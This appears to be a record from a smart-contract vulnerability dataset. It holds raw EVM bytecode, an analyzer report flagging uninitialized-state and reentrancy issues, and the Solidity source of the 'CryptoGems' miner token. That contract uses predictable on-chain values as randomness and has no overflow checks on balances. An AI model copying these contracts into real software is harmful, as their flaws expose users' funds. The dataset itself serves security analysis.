ffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103cb57600080fd5b506103d4610b8b565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103fc57600080fd5b506104496004803603604081101561041357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba2565b604051808215151515815260200191505060405180910390f35b34801561046f57600080fd5b50610478610c55565b005b34801561048657600080fd5b506104b36004803603602081101561049d57600080fd5b8101908080359060200190929190505050610d61565b005b3480156104c157600080fd5b506104ca610d6e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561051857600080fd5b50610521610d94565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561056f57600080fd5b506105b26004803603602081101561058657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dba565b6040518082815260200191505060405180910390f35b3480156105d457600080fd5b50610617600480360360208110156105eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e5c565b6040518082815260200191505060405180910390f35b34801561063957600080fd5b50610642610ea5565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610682578082015181840152602081019050610667565b50505050905090810190601f1680156106af5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106c957600080fd5b506106d2610f47565b6040518082815260200191505060405180910390f35b3480156106f457600080fd5b506107416004803603604081101561070b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f53565b604051808215151515815260200191505060405180910390f35b34801561076757600080fd5b506107b46004803603604081101561077e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611020565b604051808215151515815260200191505060405180910390f35b3480156107da57600080fd5b506107e361103e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561083157600080fd5b506108606004803603602081101561084857600080fd5b81019080803515159060200190929190505050611063565b6040518082815260200191505060405180910390f35b34801561088257600080fd5b5061088b6110de565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108d957600080fd5b506108e2611104565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561093057600080fd5b506109936004803603604081101561094757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061112a565b6040518082815260200191505060405180910390f35b600860149054906101000a900460ff1681565b6060600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a545780601f10610a2957610100808354040283529160200191610a54565b820191906000526020600020905b815481529060010190602001808311610a3757829003601f168201915b5050505050905090565b6000610a72610a6b6111b1565b84846111b9565b6001905092915050565b6000600b54905090565b60055481565b6000610a998484846113b0565b610b5a84610aa56111b1565b610b55856040518060600160405280602881526020016121b860289139600a60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b0b6111b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c279092919063ffffffff16565b6111b9565b600190509392505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600e60009054906101000a900460ff16905090565b6000610c4b610baf6111b1565b84610c4685600a6000610bc06111b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce790919063ffffffff16565b6111b9565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d18576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f216e6f7420616c6c6f776564000000000000000000000000000000000000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610d5e573d6000803e3d6000fd5b50565b610d6b3382611d6f565b50565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e1657600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550919050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600d8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f3d5780601f10610f1257610100808354040283529160200191610f3d565b820191906000526020600020905b815481529060010190602001808311610f2057829003601f168201915b5050505050905090565b60006005544303905090565b6000611016610f606111b1565b846110118560405180606001604052806025815260200161224a60259139600a6000610f8a6111b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c279092919063ffffffff16565b6111b9565b6001905092915050565b600061103461102d6111b1565b84846113b0565b6001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110bf57600080fd5b81600860146101000a81548160ff021916908315150217905550919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561123f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806122266024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061214f6022913960400191505060405180910390fd5b80600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611436576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806122016025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114bc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061210a6023913960400191505060405180910390fd5b60006019905060008290506000680d8d726b7177a800009050600080905086600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555085600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141580156116085750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b156118fa576000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16141561166d57869050611671565b8790505b6028600554014310801561168457508286115b156117e257600061169e8488611f2990919063ffffffff16565b90506116c660646116b88884611f7390919063ffffffff16565b611ff990919063ffffffff16565b6116ee60646116e060025488611f7390919063ffffffff16565b611ff990919063ffffffff16565b0192506117048388611f2990919063ffffffff16565b9450600860149054906101000a900460ff16156117dc576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639fc7cb0983856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156117c357600080fd5b505af11580156117d7573d6000803e3d6000fd5b505050505b506118f8565b61180a60646117fc60025489611f7390919063ffffffff16565b611ff990919063ffffffff16565b915061181f8287611f2990919063ffffffff16565b9350600860149054906101000a900460ff16156118f7576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639fc7cb0982846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156118de57600080fd5b505af11580156118f2573d6000803e3d6000fd5b505050505b5b505b6119668560405180606001604052806026815260200161217160269139600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c279092919063ffffffff16565b600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119fb83600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce790919063ffffffff16565b600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a5381600b54611f2990919063ffffffff16565b600b81905550600460149054906101000a900460ff16611b53576001600460146101000a81548160ff0219169083151502179055504360058190555086600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555085600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555085600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505050505050565b6000838311158290611cd4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c99578082015181840152602081019050611c7e565b50505050905090810190601f168015611cc65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611d65576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611df5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806121e06021913960400191505060405180910390fd5b611e618160405180606001604052806022815260200161212d60229139600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c279092919063ffffffff16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611eb981600b54611f2990919063ffffffff16565b600b81905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000611f6b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c27565b905092915050565b600080831415611f865760009050611ff3565b6000828402905082848281611f9757fe5b0414611fee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806121976021913960400191505060405180910390fd5b809150505b92915050565b600061203b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612043565b905092915050565b600080831182906120ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156120b4578082015181840152602081019050612099565b50505050905090810190601f1680156120e15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816120fb57fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a723158203a00426c75057d5b63df65c9f41594fff13796cf09034b02e24220f64ee2b64764736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
6,929
0x4ad6590fe12cea6dbf9eda1bd4f74f9a0292e585
pragma solidity ^0.4.21; contract CryptoGems { // Start of ERC20 Token standard event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); uint256 constant private MAX_UINT256 = 2**256 - 1; string public name = "CryptoGem"; string public symbol = "GEM"; uint public decimals = 4; uint256 public totalSupply = 0; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } // End of ERC20 Token standard event Mint(address indexed to, uint256 amount); event stateEvent(address indexed owner, uint256 id, uint64 state); event TransferMiner(address indexed owner, address indexed to, uint256 id); // Structure of Miner // struct Miner { uint256 id; string name; uint64 workDuration; uint64 sleepDuration; uint64 difficulty; uint256 workBlock; uint256 sleepBlock; uint64 state; bytes32 hash; address owner; bool onSale; uint256 salePrice; uint64 exp; } Miner[] public miners; uint256 public gemPerMiner = 0; uint256 public gemPerEther = 0; uint256 public etherPerMiner = 0; uint256 public etherPerSale = 0; bool public sale = true; address public contractOwner; function CryptoGems() public { contractOwner = msg.sender; gemPerEther = 10000 * (10**decimals); etherPerMiner = 0.5 ether; etherPerSale = 0.001 ether; gemPerMiner = 5000 * (10**decimals); sale = true; } modifier onlyContractOwner() { require(msg.sender == contractOwner); _; } // Actions Payable // function buyGems() public payable { require( sale == true ); require( msg.value > 0 ); balances[ msg.sender ] += (msg.value * gemPerEther)/(1 ether); totalSupply += (msg.value * gemPerEther)/(1 ether); } function buyMinersWithEther(uint64 quantity) public payable { require( sale == true ); require( quantity * etherPerMiner <= msg.value); for(uint64 i=1;i<=quantity;i++) { createMiner(); } } function buyMinersWithGem(uint64 quantity) public { require( sale == true ); require( quantity * gemPerMiner <= balances[ msg.sender ]); balances[ msg.sender ] -= quantity * gemPerMiner; balances[ contractOwner ] += quantity * gemPerMiner; emit Transfer(msg.sender, contractOwner, quantity * gemPerMiner); for(uint64 i=1;i<=quantity;i++) { createMiner(); } } function createMiner() private { uint64 nonce = 1; Miner memory _miner = Miner({ id: 0, name: "", workDuration: uint64(keccak256(miners.length, msg.sender, nonce++))%(3000-2000)+2000, sleepDuration: uint64(keccak256(miners.length, msg.sender, nonce))%(2200-1800)+1800, difficulty: uint64(keccak256(miners.length, msg.sender, nonce))%(130-100)+100, workBlock: 0, sleepBlock: 0, state: 3, hash: keccak256(miners.length, msg.sender), owner: msg.sender, onSale: false, salePrice: 0, exp: 0 }); uint256 id = miners.push(_miner) - 1; miners[id].id = id; } // Actions // function goToWork(uint256 id) public { require(msg.sender == miners[id].owner); uint64 state = minerState(id); miners[id].state = state; if(state == 3) { //init and ready states miners[id].workBlock = block.number; miners[id].state = 0; emit stateEvent(miners[id].owner, id, 0); } } function goToSleep(uint256 id) public { require(msg.sender == miners[id].owner); uint64 state = minerState(id); miners[id].state = state; if(state == 1) { //tired state miners[id].sleepBlock = block.number; miners[id].state = 2; uint64 curLvl = getMinerLevel(id); miners[id].exp = miners[id].exp + miners[id].workDuration; uint64 lvl = getMinerLevel(id); uint256 gemsMined = (10**decimals)*miners[id].workDuration / miners[id].difficulty; balances[ msg.sender ] += gemsMined; totalSupply += gemsMined; if(curLvl < lvl) { miners[id].difficulty = miners[id].difficulty - 2; } emit stateEvent(miners[id].owner, id, 2); } } function setOnSale(uint256 id, bool _onSale, uint256 _salePrice) public payable { require( msg.value >= etherPerSale ); require( msg.sender == miners[id].owner); require( _salePrice >= 0 ); miners[id].onSale = _onSale; miners[id].salePrice = _salePrice; } function buyMinerFromSale(uint256 id) public { require(msg.sender != miners[id].owner); require(miners[id].onSale == true); require(balances[msg.sender] >= miners[id].salePrice); transfer(miners[id].owner, miners[id].salePrice); emit TransferMiner(miners[id].owner, msg.sender, id); miners[id].owner = msg.sender; miners[id].onSale = false; miners[id].salePrice = 0; } function transferMiner(address to, uint256 id) public returns (bool success) { require(miners[id].owner == msg.sender); miners[id].owner = to; emit TransferMiner(msg.sender, to, id); return true; } function nameMiner(uint256 id, string _name) public returns (bool success) { require(msg.sender == miners[id].owner); bytes memory b = bytes(miners[id].name ); // Uses memory if (b.length == 0) { miners[id].name = _name; } else return false; return true; } // Calls // function getMinersByAddress(address _address) public constant returns(uint256[]) { uint256[] memory m = new uint256[](miners.length); uint256 cnt = 0; for(uint256 i=0;i<miners.length;i++) { if(miners[i].owner == _address) { m[cnt++] = i; } } uint256[] memory ret = new uint256[](cnt); for(i=0;i<cnt;i++) { ret[i] = m[i]; } return ret; } function getMinersOnSale() public constant returns(uint256[]) { uint256[] memory m = new uint256[](miners.length); uint256 cnt = 0; for(uint256 i=0;i<miners.length;i++) { if(miners[i].onSale == true) { m[cnt++] = i; } } uint256[] memory ret = new uint256[](cnt); for(i=0;i<cnt;i++) { ret[i] = m[i]; } return ret; } function minerState(uint256 id) public constant returns (uint64) { // require(msg.sender == miners[id].owner); //working if(miners[id].workBlock !=0 && block.number - miners[id].workBlock <= miners[id].workDuration) { return 0; } //sleeping if(miners[id].sleepBlock !=0 && block.number - miners[id].sleepBlock <= miners[id].sleepDuration) { return 2; } //tired if(miners[id].workBlock !=0 && block.number - miners[id].workBlock > miners[id].workDuration && miners[id].workBlock > miners[id].sleepBlock) { return 1; } //ready if(miners[id].sleepBlock !=0 && block.number - miners[id].sleepBlock > miners[id].sleepDuration && miners[id].sleepBlock > miners[id].workBlock) { return 3; } return 3; } function getMinerLevel(uint256 id) public constant returns (uint8){ uint256 exp = miners[id].exp; if(exp < 15000) return 1; if(exp < 35000) return 2; if(exp < 60000) return 3; if(exp < 90000) return 4; if(exp < 125000) return 5; if(exp < 165000) return 6; if(exp < 210000) return 7; if(exp < 260000) return 8; if(exp < 315000) return 9; return 10; } // Admin Only // function withdrawEther(address _sendTo, uint256 _amount) onlyContractOwner public returns(bool) { address CryptoGemsContract = this; if (_amount > CryptoGemsContract.balance) { _sendTo.transfer(CryptoGemsContract.balance); } else { _sendTo.transfer(_amount); } return true; } function changeContractOwner(address _contractOwner) onlyContractOwner public { contractOwner = _contractOwner; } function setMinerPrice(uint256 _amount) onlyContractOwner public returns(bool) { etherPerMiner = _amount; return true; } function setGemPerMiner(uint256 _amount) onlyContractOwner public returns(bool) { gemPerMiner = _amount; return true; } function setSale(bool _sale) onlyContractOwner public returns(bool) { sale = _sale; return true; } function setGemPrice(uint256 _amount) onlyContractOwner public returns(bool) { gemPerEther = _amount; return true; } }
0x6080604052600436106101cd576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101d2578063095ea7b3146102625780631754bd8e146102c757806318160ddd1461031c5780631d2e5a3a146103475780631f1b11cc1461038e57806323b872dd146103bb57806327bfeaf51461044057806327e235e3146104855780632e2bec5c146104dc578063313ce567146105235780633d1d22021461054e5780633ead67b5146105ba5780634b10a6ad146105fd578063522f6815146106955780635c658165146106fa57806368b35396146107715780636ad1fe021461079c5780636cf7da53146107cb57806370a082311461081057806372bc9240146108675780637daa9fcd146108925780638bc88d7c1461089c57806395d89b4114610927578063a8fd1026146109b7578063a9059cbb146109e2578063bc3abbdb14610a47578063cb91a6ba14610a72578063ce606ee014610ab7578063d6b1e4a914610b0e578063dd01f78114610b38578063dd62ed3e14610b65578063e0d152af14610bdc578063e8e4424814610d72578063ea1eaecb14610dd7578063eac50c4714610e0e578063eede471e14610e44575b600080fd5b3480156101de57600080fd5b506101e7610e71565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561022757808201518184015260208101905061020c565b50505050905090810190601f1680156102545780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026e57600080fd5b506102ad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b604051808215151515815260200191505060405180910390f35b3480156102d357600080fd5b506102f260048036038101908080359060200190929190505050611001565b604051808267ffffffffffffffff1667ffffffffffffffff16815260200191505060405180910390f35b34801561032857600080fd5b5061033161131c565b6040518082815260200191505060405180910390f35b34801561035357600080fd5b50610374600480360381019080803515159060200190929190505050611322565b604051808215151515815260200191505060405180910390f35b34801561039a57600080fd5b506103b9600480360381019080803590602001909291905050506113a3565b005b3480156103c757600080fd5b50610426600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061169d565b604051808215151515815260200191505060405180910390f35b34801561044c57600080fd5b5061046b60048036038101908080359060200190929190505050611937565b604051808215151515815260200191505060405180910390f35b34801561049157600080fd5b506104c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119a5565b6040518082815260200191505060405180910390f35b3480156104e857600080fd5b50610507600480360381019080803590602001909291905050506119bd565b604051808260ff1660ff16815260200191505060405180910390f35b34801561052f57600080fd5b50610538611abd565b6040518082815260200191505060405180910390f35b34801561055a57600080fd5b50610563611ac3565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105a657808201518184015260208101905061058b565b505050509050019250505060405180910390f35b3480156105c657600080fd5b506105fb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c0d565b005b34801561060957600080fd5b5061063e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611cad565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610681578082015181840152602081019050610666565b505050509050019250505060405180910390f35b3480156106a157600080fd5b506106e0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e33565b604051808215151515815260200191505060405180910390f35b34801561070657600080fd5b5061075b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f6a565b6040518082815260200191505060405180910390f35b34801561077d57600080fd5b50610786611f8f565b6040518082815260200191505060405180910390f35b3480156107a857600080fd5b506107b1611f95565b604051808215151515815260200191505060405180910390f35b3480156107d757600080fd5b506107f660048036038101908080359060200190929190505050611fa8565b604051808215151515815260200191505060405180910390f35b34801561081c57600080fd5b50610851600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612016565b6040518082815260200191505060405180910390f35b34801561087357600080fd5b5061087c61205f565b6040518082815260200191505060405180910390f35b61089a612065565b005b3480156108a857600080fd5b5061090d60048036038101908080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612123565b604051808215151515815260200191505060405180910390f35b34801561093357600080fd5b5061093c6122b5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561097c578082015181840152602081019050610961565b50505050905090810190601f1680156109a95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156109c357600080fd5b506109cc612353565b6040518082815260200191505060405180910390f35b3480156109ee57600080fd5b50610a2d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612359565b604051808215151515815260200191505060405180910390f35b348015610a5357600080fd5b50610a5c6124b2565b6040518082815260200191505060405180910390f35b348015610a7e57600080fd5b50610a9d600480360381019080803590602001909291905050506124b8565b604051808215151515815260200191505060405180910390f35b348015610ac357600080fd5b50610acc612526565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610b36600480360381019080803567ffffffffffffffff16906020019092919050505061254c565b005b348015610b4457600080fd5b50610b63600480360381019080803590602001909291905050506125c8565b005b348015610b7157600080fd5b50610bc6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127bb565b6040518082815260200191505060405180910390f35b348015610be857600080fd5b50610c0760048036038101908080359060200190929190505050612842565b604051808e8152602001806020018d67ffffffffffffffff1667ffffffffffffffff1681526020018c67ffffffffffffffff1667ffffffffffffffff1681526020018b67ffffffffffffffff1667ffffffffffffffff1681526020018a81526020018981526020018867ffffffffffffffff1667ffffffffffffffff16815260200187600019166000191681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001851515151581526020018481526020018367ffffffffffffffff1667ffffffffffffffff16815260200182810382528e818151815260200191508051906020019080838360005b83811015610d2b578082015181840152602081019050610d10565b50505050905090810190601f168015610d585780820380516001836020036101000a031916815260200191505b509e50505050505050505050505050505060405180910390f35b348015610d7e57600080fd5b50610dbd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506129e0565b604051808215151515815260200191505060405180910390f35b348015610de357600080fd5b50610e0c600480360381019080803567ffffffffffffffff169060200190929190505050612b2a565b005b610e426004803603810190808035906020019092919080351515906020019092919080359060200190929190505050612d52565b005b348015610e5057600080fd5b50610e6f60048036038101908080359060200190929190505050612e4f565b005b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f075780601f10610edc57610100808354040283529160200191610f07565b820191906000526020600020905b815481529060010190602001808311610eea57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008060068381548110151561101357fe5b90600052602060002090600a02016003015414158015611093575060068281548110151561103d57fe5b90600052602060002090600a020160020160009054906101000a900467ffffffffffffffff1667ffffffffffffffff1660068381548110151561107c57fe5b90600052602060002090600a020160030154430311155b156110a15760009050611317565b60006006838154811015156110b257fe5b90600052602060002090600a0201600401541415801561113257506006828154811015156110dc57fe5b90600052602060002090600a020160020160089054906101000a900467ffffffffffffffff1667ffffffffffffffff1660068381548110151561111b57fe5b90600052602060002090600a020160040154430311155b156111405760029050611317565b600060068381548110151561115157fe5b90600052602060002090600a020160030154141580156111d0575060068281548110151561117b57fe5b90600052602060002090600a020160020160009054906101000a900467ffffffffffffffff1667ffffffffffffffff166006838154811015156111ba57fe5b90600052602060002090600a0201600301544303115b801561121b57506006828154811015156111e657fe5b90600052602060002090600a02016004015460068381548110151561120757fe5b90600052602060002090600a020160030154115b156112295760019050611317565b600060068381548110151561123a57fe5b90600052602060002090600a020160040154141580156112b9575060068281548110151561126457fe5b90600052602060002090600a020160020160089054906101000a900467ffffffffffffffff1667ffffffffffffffff166006838154811015156112a357fe5b90600052602060002090600a0201600401544303115b801561130457506006828154811015156112cf57fe5b90600052602060002090600a0201600301546006838154811015156112f057fe5b90600052602060002090600a020160040154115b156113125760039050611317565b600390505b919050565b60035481565b6000600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffff